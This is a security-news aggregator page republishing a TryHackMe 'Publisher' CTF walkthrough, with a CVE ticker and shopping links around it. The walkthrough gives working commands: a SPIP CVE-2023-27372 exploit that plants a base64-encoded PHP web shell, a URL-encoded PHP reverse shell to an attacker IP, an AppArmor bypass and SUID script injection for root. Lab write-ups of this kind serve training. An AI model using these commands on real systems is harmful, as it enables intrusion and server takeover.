Zum Hauptinhalt springen
LIVE
CVSS 7.0CVE-2026-138158 | libgphoto2 through 2.5.34 contains a stack buffer overflow in sierra_get_string_register() that lets a malicious sierra-protocol camera or USB device overwrite stack memory. When files are listed, the device can answer the file-name register with an oversized packet, writing up to 32 KB past small stack buffers to cause crashes or possible code execution.CVSS 7.7CVE-2026-138159 | edbrowse through 3.8.19 contains an integer overflow in stringAndBytes() that allows malicious servers to write past a heap buffer by sending response bodies larger than 2 GB. When a user browses to an attacker-controlled HTTP, FTP, or gopher server, the oversized body skips reallocation and corrupts the heap, causing crashes or potentially code execution.CVSS 8.5CVE-2026-138160 | Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ReadBackupTextLen() that allows attackers to overwrite stack memory via crafted backup files. Attackers can supply overlong quoted text values decoded into a 10,000-byte stack array during convertbackup, restore, or GSM_ReadBackupFile calls, causing crashes or potential code execution.CVSS 8.5CVE-2026-138161 | Gammu before 1.45.2 contains a buffer overflow vulnerability in LoadBackup() that allows attackers to corrupt memory by supplying an overlong MD5 value in a crafted backup file. Attackers can overwrite adjacent phonebook and calendar entry pointers via strcpy() into MD5Original when files are loaded with convertbackup or restore, causing crashes or potential code execution.CVSS 7.3CVE-2026-138162 | Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in ALCATEL_EncodeString() that allows attackers to overwrite stack memory via oversized encoded phonebook text. Attackers can supply a crafted backup restored with gammu restore or addnew to an attached Alcatel phone, using GSM extension characters to crash Gammu or potentially execute code.CVSS 8.5CVE-2026-138163 | Gammu before 1.45.2 contains a heap-based buffer overflow in ReadWAPSettingsEntry() that allows attackers to corrupt heap memory via crafted backup files with excess WAP or MMS settings entries. Attackers can supply a backup with more than four TitleNN keys in a [WAPSettings] or [MMSSettings] section, loaded via convertbackup, restore, or GSM_ReadBackupFile, causing crashes or potential code execution.CVSS 4.8CVE-2026-138164 | Gammu before 1.45.2 contains a stack-based buffer overflow vulnerability in SaveBackupText() in backtext.c that allows attackers to corrupt stack memory by supplying long text fields. Attackers can craft a backup with long calendar or note fields that, when converted with gammu convertbackup, writes hex digits past the 10,000-byte stack buffer.CVSS 9.3CVE-2026-138154 | POSTAL 2 before build 26810491 contains a sandbox escape vulnerability that allows malicious Steam Workshop mods to execute code by calling ConsoleCommand with a start file URI. Attackers can ship a batch file in a mod at the predictable workshop install path and launch it via ShellExecuteW, executing commands as the player on Windows.
Alle im Drawer
Intelligence View
⚡ tsecurity.de Intelligence

Publisher: TryHackMe CTF Walkthrough

Link to the Room: https://tryhackme.com/room/publisherTitle: Test your enumeration skills on this boot-to-root machineDescription: The “Publisher” CTF machine i…

Beitrag
0
Seite
0
↗ Quelle (infosecwriteups.com)
CVE & Threat-Kontext · 8 Min. Lesezeit
Quelle: infosecwriteups.com
Rubrik: Hacking & Pentesting
CVE-2023-27372 CVSS 9.8 EPSS 80.6%

Link to the Room: https://tryhackme.com/room/publisher

Title: Test your enumeration skills on this boot-to-root machine

Description: The “Publisher” CTF machine is a simulated environment hosting some services. Through a series of enumeration techniques, including directory fuzzing and version identification, a vulnerability is discovered, allowing for Remote Code Execution (RCE). Attempts to escalate privileges using a custom binary are hindered by restricted access to critical system files and directories, necessitating a deeper exploration into the system’s security profile to ultimately exploit a loophole that enables the execution of an unconfined bash shell and achieve privilege escalation

AI Generated

1. Scanning & Enumeration

Using nmap command to discover open ports on the target system:

nmap Target_IP -vvv
Initial nmap Scan

Found two open ports on the target system, further exploring the machine to discover the services & their versions running on these open ports:

nmap -p22,80 -sV 10.80.133.78 -o nmap.txt
service scan

Web

From above scan discovered two different services (ssh & http) running on the target machine
Exploring the HTTP service running on port 80

Web App

A good habit is first to map the application and understand the technology stack it is using
Using Wappalyzer browser extension to discover the technology stack and programming language which target web application is using

Tech Stack

Find directories and files using Gobuster tool:

gobuster dir -u http://TARGET_IP:80/ -w /usr/share/seclists/Discovery/Web-Content/big.txt
gobuster

From above scan two directories found:

/images/
/spip/

Further enumerating the /spip/ directory to find more files & directories:

gobuster dir -u http://10.82.133.14:80/spip/ -w /usr/share/seclists/Discovery/Web-Content/big.txt

Result:

/LICENSE
/README.md

/config/
/ecrire/
/local/
/prive/
/squelettes-dist/
/tmp/
/vendor/

Analyzing each directory and files they contain, I encountered the version of the CMS spip which target web application is using, displayed in one of the file located at: /spip/local/config.txt

/spip/local/config.txt

Using searchsploit tool to find the possible exploit for that specific CMS (spip):

searchsploit spip
searchsploit

From above command it displays that the web application is running a vulnerable CMS version which can lead attacker to Remote Code Execution without having authentication credentials

2. Exploitation

Searching for this vulnerable software on the internet provides the CVE details and PoC to exploit

CVE-2023–27372

Download the python exploit for CVE-2023-27372 from the GitHub repo displayed above and run the exploit to upload a web shell on this vulnerable web application

./CVE-2023-27372.py -u http://10.80.180.136/spip -c "echo PD9waHAKaWYgKGlzc2V0KCRfR0VUWydjbWQnXSkpIHsKICAgIHN5c3RlbSgkX0dFVFsnY21kJ10pOwp9Cj8+Cg== | base64 -d > webshell.php"

Now, you can access the web shell created on the vulnerable application by visiting the URL: http://TARGET_IP/spip/webshell.php
You can run the necessary commands by providing a CMD parameter, as: http://10.80.180.136/spip/webshell.php?cmd=id

webshell

Reverse Shell

To obtain reverse shell from the target system perform following steps:

  1. Setup a listener on your local machine (attack box): nc -lnvp 4444
  2. Execute URL encoded reverse shell from web shell on the target system, as: php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.136.23%22%2C4444%29%3Bshell_exec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Running revershell

Reverse shell received on the listener running on local machine

Revershell received

Found user.txt within the think user’s home directory /home/think

user.txt

3. Privilege Escalation

Looking for privilege escalation vectors to gain access to other users on the system

While enumerating for sensitive files I found user think ssh private key id_rsa which is readable by all the users on the system (including www-data which we have compromised)

id_rsa

As system is already running the SSH service we found earlier in nmap scan, lets try to access SSH service from local machine (attacker machine) as user think with its private key id_rsa

chmod 600 id_rsa
ssh think@Target_IP -i id_rsa
copied id_rsa
ssh as think

Access to root user

Looking for SUID binaries which are running as user root, and can be executed by the currently compromised user think:

find / -type f -perm -u=s -ls 2>/dev/null

By running above command, found a custom binary having SUID privileges (SUID allows to run the binary with the privileges of its owner which is root in this case) and can be executed by any user on the system (including think)

SUID binary

By executing this suspicious binary /usr/sbin/run_container, look at the output, this binary is executing another shell program located at /opt/run_container.sh

execute SUID binary

Listing the permissions of this program:

ls -l /opt/run_container.sh

As displayed following, this target shell program (/opt/run_container.sh) is writable by all the users on the system

perm(/opt/run_container.sh)

Now, the exploit process seems to be simple just write malicious commands in that target /opt/run_container.sh program file & running the custom SUID binary will execute this file containing attacker's malicious command, thus giving us a root shell

But, on writing into /opt/run_container.sh returns permission denied error, even if /opt/run_container.sh is globally writable

Permission denied

That’s an abnormal behavior, user is unable to modify the writable file. There might be some other application or config blocking such action, as specified in the Hint of root flag: “Look to the App Armor by it’s profile”

Let’s google for App Armor it displays:

AppArmor provides Mandatory Access Control (MAC) by restricting programs and process from read/write/execute permissions on files/directories through strict, per-program profiles

From the above info it is clear that their might be some program specific restrictions applied which is restricting users to modify the writable /opt/run_container.sh file

Another, google search for App Armor config file, results:

App Armor configs/profiles are primarily stored in the /etc/apparmor.d/ directory
Profiles are named after the absolute path to the executable they protect, replacing the forward slashes (/) with periods (.)
Example:
As profile for
/usr/bin/nginx is saved as /etc/apparmor.d/usr.bin.nginx

List the App Armor profiles on the target system

ls -l /etc/apparmor.d/
app armor profiles

By running above command it displays a profile for ash shell, which is another Linux shell just like bash,sh,zsh

This usr.sbin.ash profile of App Armor applies to the current user think becuase this user is using the ash shell, you can confirm this by running:

echo $0
echo $0

View the usr.sbin.ash profile by running command:

cat /etc/apparmor.d/usr.sbin.ash
usr.sbin.ash

Understanding the rules to the specified directories in usr.sbin.ash profile:

deny /opt r, --> prevents from reading/listing the "/opt" directory but directories & file under this directory can still be listed & read, as: ls -l /opt/run_container.sh

deny /opt/** w, --> same as above but applies to "/opt" directory

deny /tmp/** w, --> same as above but applies to "/tmp" directory

deny /dev/shm w, --> prevents from writing on the "/dev/shm" directory itself, but this doesn't apply on the files & subdirectories

dev /var/tmp w, --> same as above but applies to "/var/tmp" directory

dev /var/tmp w, --> prevents from writing into the "/home/**" directory

/usr/bin/** mrix, --> allows execution of the programs under "/usr/bin/" directory but that new process inherits the current profile, as in this case:
new_process (profile "/etc/apparmor.d/usr.sbin.ash")
|
exec("/usr/bin/bash")
|
bash (still profile "/etc/apparmor.d/usr.sbin.ash" applied)

/usr/sbin/** mrix, --> same as above but applies to "/usr/sbin/" directory

As the above profile is applied to the current shell ash & from the profile configs /usr/bin/** it displays that we can execute the /usr/bin/bash to change the shell but the usr.sbin.ash profile will still be applied to that new shell process, hence user will still be unable to modify the target program /opt/run_container.sh

But it is still possible to bypass the usr.sbin.ash profile if attacker executes the bash shell from any other directory where mrix configs doesn't apply, so from here out exploit methodology will be:

1️⃣ Copy the /usr/bin/bash shell to any other directory, in this case we are using /var/tmp:

cp /usr/bin/bash /var/tmp/bash

2️⃣ Execute the /var/tmp/bash to change the shell & bypass the usr.sbin.ash profile configs:

/var/tmp/bash

Now, attacker is able to modify the /opt/run_container.sh

3️⃣ Insert your malicious commands in the target program:

echo "/usr/bin/bash -p" >> /opt/run_container.sh

4️⃣ Now, execute the SUID binary which executes this target program injected with attacker’s malicious command (/usr/bin/bash -p), hence giving root privileges:

/usr/sbin/run_container
root shell

Read the /root/root.txt to get our final flag:

cat /root/root.txt
root.txt

If you want more walkthroughs on CTF challenges, detailed writeups on Web Hacking and exploitatoin techniques, follow me here on Medium to stay update and get notified


Publisher: TryHackMe CTF Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Offizielle CVE-Beschreibung

CVE-2023-27372

SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.

Vollständig und ungekürzt aus dem CVE-/NVD-Bestand — der Quelltext oben ist bewusst nur ein Auszug. Zum CVE-Dossier

Information ergänzen Fachhinweis, Update, Korrektur oder Quelle zur Meldung beitragen
Gäste-Hinweise werden kurz redaktionell geprüft und danach hier angezeigt.

Community-Hinweise zur Meldung

0 freigegeben
Social ReaktionenReagiere als Erste:r — dein Feedback zählt!
Informations-Bewertung:

💬 Community-Diskussion & Kommentare

🌐 Zum Hauptchat

Starte die Diskussion im Social-Chat Broadcast Stream oder reiche oben über „Information ergänzen“ einen Fachbeitrag ein.

Exploit Weaponization & PoC Radar

IT-Admin-Dringlichkeit · Forscher-Angriffsfläche · Exploit-Belege

CRITICAL WEAPONIZED · 95/100IT-Admin-Score: 79/100Forscher-Score: 95/100
Exploit-DB
EDB-51536
Interaktion
0-Click
Authentifizierung
Nicht erforderlich
Ethischer Sicherheitshinweis
Nur für Community-Mitglieder

Exploit- & PoC-Belege sind ausschließlich registrierten Community-Mitgliedern vorbehalten und dienen allein der defensiven Analyse, Patch-Verifikation und autorisierten Sicherheitsforschung. Abrufe und Weiterleitungen werden zum Missbrauchsschutz DSGVO-konform protokolliert.

Metasploit-Modul (1)GitHub PoC (4)Exploit-DB (1)
Exploit & Remediation Lifecycle
PoC · Ausnutzung · Patch-Stufen
CVE-2023-27372
Entdeckung & Meldung
Schwachstelle identifiziert & registriert
Sicherheits-Advisory
Offizielle Warnung & CVE-Zuweisung
Exploit / PoC
Öffentlicher Nachweis dokumentiert (🔒 Details nur für Community-Mitglieder)
In-the-Wild Ausnutzung
Aktive Angriffe beobachtet (CISA KEV / EPSS)
Patch & Schutzmaßnahmen
Noch kein offizieller Patch bestätigt — Angriffsfläche reduzieren & Hersteller-Feeds beobachten.
Community Rating & Social Proof
⭐ Leser-Wertung
–
Ø / 5.0
Noch keine Leser-Bewertungen
War dieser Artikel hilfreich?
0
Jetzt Bewertung abgeben
Detail-Bewertung (optional)
Inhalt & Qualität
Quelle & Glaubwürdigkeit
Aktualität
Security Briefing Kostenlos · 1-Klick-Abmeldung

Intelligence Digest — kostenlos

Täglich die wichtigsten Security-News · jederzeit abbestellbar

Verwandte Story-Cluster & Quellen (Vektor-KI)

6 Cluster
20 Quellen
Air Purifier Black Friday Sale: Levoit, Blueair (2026)
WIRED vor 51 Min.
19 weitere Quellen
Latest from TechRadarvor 1 Std.Black Friday MacBook deals 2026: even bigger savings on MacBook Neo, MacBook Pro M6, and the new PROLED MacBook Pros as Cyber Monday draws near WIREDvor 56 Min.The Best Black Friday MacBook Deals Take Up to $300 Off The Vergevor 56 Min.A tech girlie’s Black Friday guide to fabulous nails WIREDvor 1 Std.The Best Black Friday Action Camera Deals (2026) Latest from Windows Centralvor 1 Std.Bought a new PC or monitor on Black Friday? Don't plug it into a cheap power strip Latest from TechRadarvor 1 Std.Here’s the best Black Friday MacBook Air deal available right now Latest from TechRadarvor 2 Std.I've reviewed a whole host of docking stations — here are the 8 worth buying in the holiday deals now Black Friday is done Latest from TechRadarvor 2 Std.FastestVPN vs PrivadoVPN vs Windscribe: which cheap VPN should you buy this Black Friday? Latest from TechRadarvor 2 Std.Walmart's Black Friday event ends tomorrow — see the 20 best last chance deals on TVs, appliances, laptops, headphones, ahead of Cyber Monday WIREDvor 2 Std.Best JBL Black Friday Deals (2026): Save on JBL Flip 7 and More The Vergevor 1 Std.Birdbuddy’s latest smart feeders are still at their low Black Friday prices WIREDvor 2 Std.Best Black Friday Meal Kit Deals: CookUnity, Green Chef, & More Latest from TechRadarvor 3 Std.PSA: Samsung's Black Friday event is still ongoing and the retailer has actually dropped prices even further on the Galaxy S26, OLED TVs, headphones, and more Latest from Windows Centralvor 3 Std.You can grab a 15-inch whole Snapdragon X2 Plus laptop for just $599 this Black Friday weekend Latest from Windows Centralvor 3 Std.Best GTA 6 accessory deals for Black Friday DEV Communityvor 3 Std.The Top Black Friday Deal on r/buildapcsales Came With Canceled Orders CNETvor 3 Std.This Holdover Black Friday Sale Will Save You 20% on Branch’s Well-Built Ergonomic Furniture Latest from TechRadarvor 4 Std.Have power at your fingertips with these top power station deals this Black Friday weekend — I've tested some impressive battery systems, here are my top picks from Bluetti, Jackery and more CNETvor 4 Std.Shopping for a Gearhead? These Car Gifts Are Up to 40% Off for Black Friday and Cyber Monday
Zum Aktualisieren ziehen
Widgets & Themen
Widgets werden geladen…
Nächster Beitrag